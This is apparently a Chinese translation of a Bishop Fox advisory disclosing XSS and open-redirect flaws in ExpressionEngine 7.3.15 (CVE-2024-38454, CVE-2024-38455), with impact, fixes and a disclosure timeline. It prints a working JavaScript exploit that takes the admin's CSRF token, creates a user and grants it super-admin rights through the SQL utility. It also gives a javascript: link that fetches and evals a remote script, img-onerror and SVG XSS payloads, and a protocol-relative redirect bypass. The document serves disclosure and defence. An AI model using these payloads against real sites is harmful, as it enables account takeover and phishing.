ExpressionEngine 7.3.15跨站脚本与开放重定向漏洞深度解析

本文详细分析了ExpressionEngine 7.3.15版本中存在的跨站脚本(XSS)和开放HTTP重定向漏洞,包括漏洞的技术细节、利用方式以及修复方案,涉及CVE-2024-38454和CVE-2024-38455。

ExpressionEngine, 版本 7.3.15 | Bishop Fox

以下文档描述了在ExpressionEngine应用程序版本7.3.15中发现的漏洞,这些漏洞在版本7.4.11中已修复。

产品供应商

Packet Tide

产品描述

ExpressionEngine是一个灵活、功能丰富、免费的开源内容管理平台,使全球数十万个人和组织能够轻松管理其网站。该项目的官方网站是https://expressionengine.com。应用程序的最新版本是7.4.11,于2024年6月13日发布。

漏洞列表

在ExpressionEngine应用程序中发现了两个漏洞:

  • 跨站脚本(XSS)
  • 开放HTTP重定向

这些漏洞在以下部分中描述。

受影响版本

版本7.4.10及更早版本。

发现摘要

Bishop Fox工作人员在Packet Tide的ExpressionEngine版本7.3.15中发现了两个漏洞。最严重的问题允许Bishop Fox工作人员在ExpressionEngine实例中获得新管理员帐户的访问权限。

影响

未经身份验证的漏洞可能允许攻击者向ExpressionEngine管理员提交任意链接,从而在应用程序上获得超级管理员帐户。

解决方案

更新到最新版本7.4.11。

ExpressionEngine跨站脚本(XSS)

EXPRESSIONENGINE应用程序受到多个跨站脚本(XSS)漏洞的影响,包括重定向页面中的一个未经身份验证的漏洞。其他漏洞存储在管理面板中。未经身份验证的漏洞允许在管理员访问恶意制作的链接时执行JavaScript负载。这些漏洞可以在没有身份验证的情况下被利用,并用于创建新的超级管理员帐户。

漏洞详情

  • CVE ID for XSS: CVE-2024-38454
  • 漏洞类型: 跨站脚本(XSS)
  • 访问向量: ☒ 远程, ☐ 本地, ☐ 物理, ☐ 上下文相关, ☐ 其他(如果是其他,请指定)
  • 影响: ☐ 代码执行, ☐ 拒绝服务, ☒ 权限提升, ☐ 信息泄露, ☐ 其他(如果是其他,请指定)
  • 安全风险: ☐ 严重, ☒ 高, ☐ 中, ☐ 低
  • 漏洞: CWE-79

ExpressionEngine受到多个跨站脚本漏洞的影响,这些漏洞可能允许攻击者在目标用户的浏览器中执行JavaScript。Bishop Fox工作人员证明,攻击者可以通过说服或导致管理员查看精心制作的内容来利用此问题在ExpressionEngine实例中创建超级管理员帐户。该问题的一个实例是反射型XSS漏洞,攻击者可以在没有ExpressionEngine实例凭据的情况下利用。该问题的其余实例是影响ExpressionEngine控制面板的存储型XSS漏洞。

重定向功能

ExpressionEngine中的URL重定向功能由于缺乏用户输入清理而容易受到反射型XSS的攻击。Bishop Fox工作人员演示了将JavaScript代码注入服务器返回的页面。例如,以下链接触发了弹出窗口,如下所示:

https://i-0cc6.fox-box.io/admin.php?URL=javascript:alert('XSS')

图1 - 浏览恶意链接时触发的JavaScript负载

如果攻击者说服或导致更高权限的用户访问恶意XSS代码,他们可以导致更高权限的用户采取攻击者选择的其他操作。

为了演示利用的潜在后果,以下恶意JavaScript负载托管在URL https://i-0cc6.fox-box.io/xss.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
async function main(){
var baseURL = 'https://i-0cc6.fox-box.io/admin.php?/cp/';
var username = 'sua1'
var password = 'User123!'

var a;
var b;
var t;
var c;
var d;
var e;
var regex1;
var csrf;
var regex2;
var lastUser;

// 获取csrf令牌
await fetch(baseURL+'design/manager/pro-dashboard-widgets',{
   method: 'GET'
}).then((response) => {
   a=response;
});
b = a.text()
await b.then((body) => {
   t=body;
 });
regex1 = /csrf_token" value="([0-9a-z])*"/g;
csrf = t.match(regex1)[0].split('"')[2];

// 创建模板
fetch(baseURL+'design/template/create/pro-dashboard-widgets', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
     },
  body: new URLSearchParams({
    'csrf_token': csrf,
    'template_name': 'testTemplateA2XSS',
    'template_type': 'webpage',
    'submit': 'finish'
  })
});

// 创建新用户(无访问管理面板权限)
await fetch(baseURL+'members/create', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
     },
  body: 'csrf_token='+csrf+'&username='+username+'&email='+username+'%40u.com&password='+password+'&confirm_password='+password+'&role_id=3&role_groups=&roles%5B%5D=&verify_password=&submit=save'
}).then(response =>{c=response});
d = c.text()
await d.then((body)=>{e=body;});
regex2 = /<a href="admin.php\?\/cp\/members\/profile&id=([0-9])+"/;
lastUser = e.match(regex2)[0].split('=')[2].split('"')[0]

// 将超级管理员角色添加到创建的用户
await fetch(baseURL+'utilities/query', {
  method: 'POST',
  body: new URLSearchParams({
    'csrf_token': csrf,
    'thequery': "UPDATE `exp_members` SET `role_id`='1' WHERE member_id='"+lastUser+"'"
  })
});
}
main()

如果ExpressionEngine管理员访问以下链接,脚本将捕获管理员的跨站请求伪造(CSRF)令牌,添加模板,添加用户,最后将新创建的用户添加到超级管理员角色。

https://i-0cc6.fox-box.io/admin.php?URL=javascript:fetch('https://i-0cc6.fox-box.io/xss.js').then(r=>r.text()).then(eval)

浏览器执行脚本后,创建了一个新用户并授予了超级管理员角色,如下所示:

图2 – 添加了超级管理员角色的用户。

ExpressionEngine中的此XSS实例可以被没有凭据的攻击者利用。

本发现的其余部分描述了Bishop Fox工作人员发现其他XSS实例的附加位置。相同的利用负载可以在任何附加位置使用。但是,其余实例只能由具有有效凭据的攻击者利用。

SVG文件

Bishop Fox工作人员确定ExpressionEngine通过上传恶意可缩放矢量图形(SVG)图像文件容易受到存储型XSS的攻击。

首先,通过ExpressionEngine应用程序控制面板的文件上传功能上传包含恶意JavaScript负载的SVG图像,如下所示:

图3 – 用于上传SVG文件的文件上传功能。

当用户浏览到上传的SVG图像位置时,它触发了JavaScript负载并显示JavaScript警报对话框,如下所示:

图4 – 浏览图像时触发的JavaScript负载。

可以通过SVG文件中的远程脚本引用执行远程脚本 – 例如本发现的重定向功能部分中描述的负载 – 如下面的XML标记所示:

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100">
  <script>alert('XSS')</script>
</svg>

条目

Bishop Fox工作人员确定ExpressionEngine条目功能在条目的名称字段中容易受到XSS的攻击,并通过创建名称为以下内容的条目来演示此问题:

<img src=x onerror=alert('XSS')>

当用户单击条目名称时,他们的浏览器执行JavaScript代码并显示警报对话框,如下图所示:

图5 – 单击恶意条目时触发的JavaScript负载。

攻击者可以用更复杂的负载替换警报对话框,例如本发现的重定向功能部分中讨论的脚本。

成员角色

Bishop Fox工作人员确定ExpressionEngine角色功能在角色组的名称字段中容易受到XSS的攻击,并通过创建名称为以下内容的角色组来演示此问题:

<img src=x onerror=alert('XSS')>

当用户查看角色组时,他们的浏览器执行JavaScript代码并显示JavaScript警报对话框,如下图所示:

图6 – 单击恶意角色组名称时触发的JavaScript负载。

此外,Bishop Fox工作人员确定可以通过角色本身的名称字段触发相同的问题,并通过创建名称为以下内容的角色来演示此问题:

<img src=x onerror=alert('XSS')>

当用户单击复选框选择具有恶意名称的角色时,他们的浏览器执行JavaScript代码并显示JavaScript警报对话框,如下图所示:

图7 – 单击恶意角色复选框时触发的JavaScript负载。

攻击者可以用更复杂的负载替换警报对话框,例如本发现的重定向功能部分中讨论的脚本。

字段

Bishop Fox工作人员确定ExpressionEngine字段功能在字段的名称字段中容易受到XSS的攻击,并通过创建名称为以下内容的字段来演示此问题:

<img src=x onerror=alert('XSS')>

当用户单击此特定字段的复选框时,他们的浏览器执行JavaScript代码并显示警报对话框,如下图所示:

图8 – 单击恶意字段复选框时触发的JavaScript负载

攻击者可以用更复杂的负载替换警报对话框,例如本发现的重定向功能部分中讨论的脚本。

频道

Bishop Fox工作人员确定ExpressionEngine频道功能在频道的名称字段中容易受到XSS的攻击,并通过创建名称为以下内容的频道来演示此问题:

<img src=x onerror=alert('XSS')>

当用户单击此特定频道的复选框时,他们的浏览器执行JavaScript代码并显示警报对话框,如下图所示:

图9 – 单击恶意频道复选框时触发的JavaScript负载。

攻击者可以用更复杂的负载替换警报对话框,例如本发现的重定向功能部分中讨论的脚本。

图像

Bishop Fox工作人员确定ExpressionEngine图像功能在图像的名称字段中容易受到XSS的攻击,并通过创建名称为以下内容的图像来演示此问题:

<img src=x onerror=alert('XSS')>

当用户尝试在模板中使用图像或右键单击图像的缩略图时,他们的浏览器执行JavaScript代码并显示警报对话框,如下图所示:

图10 – 右键单击恶意图像缩略图时触发的JavaScript负载。

攻击者可以用更复杂的负载替换警报对话框,例如本发现的重定向功能部分中讨论的脚本。

开放HTTP重定向

EXPRESSIONENGINE应用程序受到开放HTTP重定向漏洞的影响,该漏洞可以在没有身份验证的情况下被利用,并用于将受害用户重定向到任意页面。

漏洞详情

  • CVE ID: CVE-2024-38455
  • 漏洞类型: 开放HTTP重定向
  • 访问向量: ☒ 远程, ☐ 本地, ☐ 物理, ☒ 上下文相关, ☐ 其他(如果是其他,请指定)
  • 影响: ☐ 代码执行, ☐ 拒绝服务, ☐ 权限提升, ☐ 信息泄露, ☒ 其他(如果是其他,请指定)
  • 安全风险: ☐ 严重, ☐ 高, ☐ 中, ☒ 低
  • 漏洞: CWE-601

ExpressionEngine包括URL重定向功能,在重定向到外部URL时显示警告提示。Bishop Fox工作人员确定,可以通过发送精心制作的URL参数值来绕过警告提示。攻击者可以利用此漏洞对ExpressionEngine用户执行令人信服的网络钓鱼攻击,利用合法用户对实例域的信任。

当URL参数将用户重定向到外部网站时,ExpressionEngine显示重定向警告,如下所示:

图11 – 在将用户重定向到外部网页之前显示的重定向警告。

可以通过省略使用的协议来绕过重定向警告屏幕。例如,以下URL将在没有警告的情况下将用户重定向到Bishop Fox网站:https://i-0cc6.fox-box.io/admin.php?URL=//bishopfox.com

如下所示,当使用此语法时,ExpressionEngine发送重定向而没有提示:

请求

1
2
GET /admin.php?URL=//bishopfox.com HTTP/1.1
…省略为简洁…

响应

1
2
3
4
HTTP/1.1 200 OK
…省略为简洁…
<meta http-equiv="refresh" content="0; URL=//bishopfox.com">
…省略为简洁…

此行为可以通过向受信任的ExpressionEngine实例发送链接来利用,这些链接重定向到托管在其他地方的恶意内容。

致谢

Matthieu Keller, 高级顾问, Bishop Fox ([email protected])

时间线

  • 2024年2月13日: 初始发现。
  • 2024年2月13日: 与供应商联系。
  • 2024年2月13日: 供应商确认漏洞。
  • 2024年5月7日: 供应商部分修复问题。
  • 2024年5月15日: 我们告知供应商哪些修复有效,哪些无效。
  • 2024年5月21日: 版本7.4.10发布,修复仍未完全实施。
  • 2024年6月13日: 修复在版本7.4.11中发布。
  • 2024年6月17日: 漏洞公开披露。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计